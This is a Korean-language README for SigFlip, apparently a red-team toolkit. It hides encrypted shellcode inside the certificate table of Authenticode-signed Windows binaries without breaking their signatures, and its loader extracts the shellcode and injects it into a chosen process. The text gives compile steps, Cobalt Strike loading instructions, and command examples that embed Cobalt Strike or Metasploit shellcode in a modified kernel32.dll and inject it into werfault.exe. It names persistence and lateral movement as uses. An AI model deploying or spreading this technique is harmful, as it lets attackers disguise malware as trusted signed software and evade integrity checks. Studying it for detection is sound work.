
SigFlip은 Authenticode 서명된 PE 파일(exe, dll, sys 등)을 기존 서명을 무효화하거나 손상시키지 않으면서 패치하는 도구입니다.
SigFlip은 기존 Authenticode 서명에 영향을 주거나 깨뜨리지 않으면서 Authenticode 서명된 PE 파일(exe, dll, sys 등)을 패치하는 도구입니다. 즉, 파일 서명, 무결성 검사 또는 PE 파일 기능을 깨뜨리지 않고 데이터(예: 셸코드)를 삽입하여 PE 파일의 체크섬/해시를 변경할 수 있습니다.
SigInject는 셸코드를 암호화하여 PE 파일의 [WIN_CERTIFICATE] 인증서 테이블에 주입합니다. 암호화 키는 기본 BOF/C/C# 로더(SigLoader)와 함께 사용하기 위해 출력됩니다. SigInject는 수정된 PE 파일에 변경 사항을 저장하며 서명과 인증서 유효성을 그대로 유지합니다.
SigLoader는 SigInject로 생성된 수정된 PE 파일 경로와 복호화 키를 매개변수로 받아, 포함된 셸코드를 추출 및 복호화하여 선택한 셸코드 주입 방식과 함께 사용할 수 있게 해주는 기본 로더입니다.
SigFlip은 PE 해시가 성공적으로 변경되었는지 확인하고, 엔드포인트가 이러한 일반적인 잘못된 구성에 대해 강화된 경우 정상적으로 종료됩니다. (자세한 내용은 'Details' 섹션 참조).
참고: SigFlip, SigInject 및 SigLoader는 BOF 스크립트와 .NET 어셈블리로 제공됩니다. 유일한 차이점은 BOF 대신 .NET 아티팩트를 사용하기로 선택한 경우 SigInject 기능이 SigFlip(-i)의 일부로 구현된다는 점입니다.
주로 지속성, 측면 이동 또는 코드/명령 실행에 사용될 수 있으며 다음과 같은 경우에 도움이 됩니다:
이 프로젝트는 미리 컴파일된 BOF를 제공하지 않습니다. Mingw-w64를 사용하여 컴파일할 수 있습니다. .NET의 경우 VS 또는 csc.exe를 사용하여 .NET 프로젝트(SigFlip, SigLoader)를 컴파일하고, BOF의 경우 아래 단계를 확인하세요;
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o
➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o
➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o
➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.o
모든 오브젝트 파일이 sigflip.cna와 동일한 디렉토리에 있는지 확인한 후, sigflip.cna 스크립트를 Cobalt Strike에 로드하세요.
참고: 미리 컴파일된 BOF는 mingw-64 v8.0.0_3에서 테스트되었으며 호환됩니다. mingw-64 >= v9를 사용하면 작동할 수 있지만 활성 비콘이 충돌할 수 있습니다. 자세한 내용은 https://github.com/med0x2e/SigFlip/issues/2를 확인하세요.
Execute-Assembly
execute-assembly SigFlip.exe -hexecute-assembly SigLoader -hBOF
SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>Examples
BOF:
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"이것은 APT#10이 여러 캠페인 또는 침입 세트에서 사용한 알려진 기술입니다.
Authenticode는 Authenticode 서명된 소프트웨어의 게시자를 식별하는 Microsoft 코드 서명 기술입니다. Authenticode는 또한 소프트웨어가 서명 및 게시된 이후 변조되지 않았음을 확인합니다.
Microsoft는 PE 바이너리의 무결성과 출처를 확인하기 위해 주로 Authenticode 서명 형식에 의존합니다. Authenticode PE 포맷 사양에 따르면 Authenticode 서명은 Windows PE 파일의 Optional Header Data Directories에 있는 Certificate Table 항목으로 지정된 위치에 '포함(embedded)'될 수 있습니다. Authenticode가 Windows PE 파일에 서명하는 데 사용될 때, 파일의 Authenticode 해시 값을 계산하는 알고리즘은 특정 PE 필드를 제외합니다. 파일에 서명을 포함할 때, 서명 프로세스는 파일의 해시 값에 영향을 주지 않고 이러한 필드를 수정할 수 있습니다. 이러한 필드는 다음과 같습니다: **체크섬, 인증서 테이블 RVA, 인증서 테이블 크기 및 특성 인증서 테이블(attribute certificate table). 특성 인증서 테이블에는 PE 파일의 해시 값, 소프트웨어 게시자의 개인 키로 생성된 서명, 그리고 소프트웨어 게시자의 서명 키를 법적 엔터티에 바인딩하는 X.509 v3 인증서가 포함된 PKCS #7 SignedData 구조가 포함되어 있습니다.
쉽게 말해, Authenticode 해시 계산에서 제외된 필드에 데이터를 수정하거나 포함시켜도 Authenticode 서명과 파일 무결성 검사가 깨질 걱정을 하지 않아도 됩니다.
제외된 필드에 대한 추가 세부 정보:
dwLength: 인증서 테이블 크기.wRevision: WIN_CERTIFICATE의 '개정(revision)'.wCertificateType: 캡슐화된 인증서 데이터의 종류.bCertificate: 실제 인증서 데이터. WIN_CERT_TYPE_PKCS_SIGNED_DATA의 경우 위에서 언급한 PKCS#7 SignedData 구조(PE 해시 값, 서명 및 x.509 인증서 포함)입니다. 이것이 바로 SigFlip이 임의의 데이터 또는 셸코드를 포함시키는 위치입니다.이 모든 것을 염두에 두고, SigFlip은 다음을 수행합니다:
첫 번째 단계는 시스템이 Authenticode 서명된 PE 파일에 패딩 및 셸코드 주입을 허용하도록 잘못 구성되었는지 확인하는 데 필수적입니다. 따라서 다음과 같은 정합성 검사가 수행됩니다:
Windows 로더는 인증서 데이터를 프로세스 주소 공간에 로드하지 않습니다. 따라서 셸코드와 같은 데이터를 추출하여 사용하려면 사용자 정의 로더(예: SigLoader)가 필요한 이유입니다. 이는 또한 IMAGE_DIRECTORY_ENTRY_SECURITY 데이터 디렉터리 항목 RVA가 일반적인 메모리 오프셋이 아닌 파일 오프셋인 이유를 설명합니다.
SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300Execute-Assembly:
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exeexecute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKeyexecute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354